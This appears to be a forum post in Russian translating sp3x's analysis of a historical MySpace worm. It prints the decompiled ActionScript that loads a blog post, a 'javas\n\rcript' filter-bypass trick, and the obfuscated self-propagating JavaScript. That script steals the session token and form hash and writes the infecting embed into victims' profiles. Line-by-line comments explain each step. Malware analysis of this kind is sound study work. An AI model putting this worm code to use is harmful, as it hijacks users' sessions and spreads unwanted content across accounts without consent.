##################### # Автор: sp3x (securityreason.com) # Перевод: max_pain89 # Читобельно (rus+eng) # Обзор работы SWF паразита. (на MySpace.com) Для начала: Это не я хаццкер. Я просто скачал эти .swf'ки, декомпилирал их, заглянул в ActionScript(AS), немного исследовал, нашел используемые ЯваСкрипты для хака, и расписал их действия и последствия. Когда вы посещаете зараженную страничку, там находится заэмбеденная флэшка (embedded SWF) ("redirect.swf") которая содержит AS сценарий: getURL("http://editprofile.myspace.com/index.cfm?fuseaction=blog.view&friendID=93634373&blogID=144877075", "_self"); УРЛ говорит сам за себя - он открывает другой блог. В этом блоге лежит уже другая SWF, с именем "retrievecookie.swf". В ней находится: getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\'<br>\')!=-1)||(sc.indexOf(\'-XXX\')!=-1)){var n=sc.indexOf(\'<br>\');if(n==-1)n=sc.indexOf(\'-XXX\');sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};" + "eval(sc);}};" + "x.send(null);", ""); Что выглядит довольно сложно, как бы то нибыло, давайте разберем с комментариями: getURL(" javas\n\r cript: //в браузере пользователя превратиться в: "javascript:" //так что рекомендую ребятам из MySpace заблокировать это var x = new ActiveXObject(\'Msxml2.XMLHTTP\'); // загружаем новый xmlHTTP object, присваеваим имя "x" x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true); // Это открывает другой пост, на вышеуказаном УРЛ. Текст поста и УРЛ ниже x.onreadystatechange = function() // далее состояние готовности xmlHTTP объекта изменяется: { if (x.readyState==4) //условие готовности (от 0 до 4, iirc) { var pg = x.responseText; //код, который берет исходный код страницы var sc = pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\')); //"sc" присваеваится значение из кода страницы // конец "BX-" (+3 символа) далее, пока не начнется // "-EX", все тот же противный JS. while ( (sc.indexOf(\'<br>\')!=-1) || (sc.indexOf(\'-XXX\')!=-1) ) // если "sc" (код) не содержит "<br>" или "-XXX" тогда: { var n=sc.indexOf(\'<br>\'); // n начинает искать "<br>" в "sc" if (n==-1) n=sc.indexOf(\'-XXX\'); // если он не находит "<br>", то он стартует искать "-XXX" // все задумано очень умно, скрипт сохраняет > закрытие embed тэга // что нужно, для создания эмбеда, и удаления "-XXX" // но не удаления последнего символа! sc = sc.substring(0,n)+sc.substring(n+5,sc.length); // теперь sc от начала (0), до n, а мы помним что n это либо "<br>", либо "-XXX". // далее перемещаемся в бит n+5 и до конца sc, // по существу, это вырезает каку из поста и сохраняет его в туже переменную. // такая операция нужна для обхода фильтров, я полагаю. }; // повторение цикла и удаление -XXX'ов из поста" + "eval(sc); // исполнение "sc" - вот для чего все это и делалось. } // конец readystate==4 "if" (условия) }; //конец функции" // закрывающая ковычка getURL() функции + " x.send(null); // добавляет "null" к отправленному xmlHTTP объекту. ", "" // просто так, это всего лишь исполнение. );// полный П getURL функции. Вобщем, это тянет пост откуда-нибуть с другого места на MySpace и выполняет содержащийся код. Вот пример поста: BX-var msg='-XXXX<-XXX<br> XE-XXXXM-XXXXB-XXXXE-XXXXD-XXXX src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS';function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){ Q=Q.replace('+', '%2B')}while(Q.indexOf('&')!=-1){ Q=Q.replace('&', '%26')}N+=P+'='+Q;O++ } return N};function getToken(page){ var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token;};function getHashCode(page){ var start = page.indexOf('name="hash" value="'); hash = page.substring(start+19, start+19+216); return hash;};var xmlht-XXXXtp = x;var post = new Array();post['submit']='Preview';post['interest']=msg;post['interestLabel']='aboutme';var postsz = paramsToString(post); var token = getToken(xmlhttp.responseText);xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);ev-XXXXal('xmlhttp.onreadys-XXXXtatechange=editReady;');xmlhttp.send(postsz);function editReady(){if (xmlhttp.readyState==4){post = new Array();post['submit']='Submit';post['hash']=getHashCode(xmlhttp.responseText);post['interest']=msg;post['interestLabel']='aboutme';postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);xmlhttp.send(postsz);}};-EX Зачистка (всякие -XXX's, и т.п.) удаление + комментарии: var msg='<EMBED src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS'; // msg - наше сообщение. function paramsToString (AV) { var N=new String(); var O=0; for (var P in AV) { if (O>0) { N+='&' // если это не "прогонка", добавляет "&" к значению, чтобы разделить значения запроса. } var Q=escape(AV[P]); while (Q.indexOf('+')!=-1) { Q=Q.replace('+', '%2B') // заменяет "+" на "%2B" - простое урл кодирование } while (Q.indexOf('&')!=-1) { Q=Q.replace('&', '%26') // опять же, кодирование "&". } N+= P + '=' + Q; O++ } return N }; // превращает перечень параметров в массив и УРЛ кодирует. function getToken (page) { var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token; }; // выдерает некого token, наверное сессия, ваш token в УРЛ ... упс. function getHashCode (page) { var start = page.indexOf('name="hash" value="'); hash = page.substring(start+19, start+19+216); return hash; }; // выдерает ваш хэш, который должен быть как бы секретным значением // он находиться в input c type=hidden. Молодцы MySpace. var xmlhttp = x; var post = new Array(); post['submit']='Preview'; post['interest']=msg; post['interestLabel']='aboutme'; // загружает начинку "msg", и другие значения в массив "post" var postsz = paramsToString(post); // легким движением функции, массив "post" превращается в строчку, примерно так // ДО - 1,2,3; ПОСЛЕ - 1&2&3 и урл закодировано var token = getToken(xmlhttp.responseText); // грузит ваш token из ответа xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); // новый xmlHTTp объект. xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token,true); // открываем профиль .. работа через xmlHTTP объект. xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // посылаем HTTP заголовок, который сообщает что мы посылаем в закодированном виде. xmlhttp.setRequestHeader('Content-Length', postsz.length); eval('xmlhttp.onreadystatechange=editReady;'); // выполняет функцию снизу, когда "готовность" изменяется. xmlhttp.send(postsz); // ПОСЛАТЬ! - происходят изменения в вашем профиле и в блоге появляется нехороший пост function editReady() { if (xmlhttp.readyState==4) { post = new Array(); post['submit']='Submit'; post['hash']=getHashCode(xmlhttp.responseText); post['interest']=msg; post['interestLabel']='aboutme'; postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); xmlhttp.open('POST','http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken='+token,true); xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-Length', postsz.length); xmlhttp.send(postsz); } }; После этого процесс выполняется уже с другим юзером. Так что вот так. Мыльте мне: kinematic.theory[angry_dog]googlemail.com ЗЫ: Автору, очень умный код, нормалек - Мне конечно не стоило бы тебя поздравлять, но какого черта
упс, вот это // если это не "прогонка", добавляет "&" к значению, чтобы разделить значения запроса. надо заменить на // если это не первая "прогонка", добавляет "&" к значению, чтобы разделить значения запроса. =) ошипка =(
у нас до сих пор небыло обзоров хсс через флэш, хотя атаке уже почти год. Спасибо МаксПэйну. Кто найдёт или напишет статьи по этой теме - просьба публиковать. Будем рады.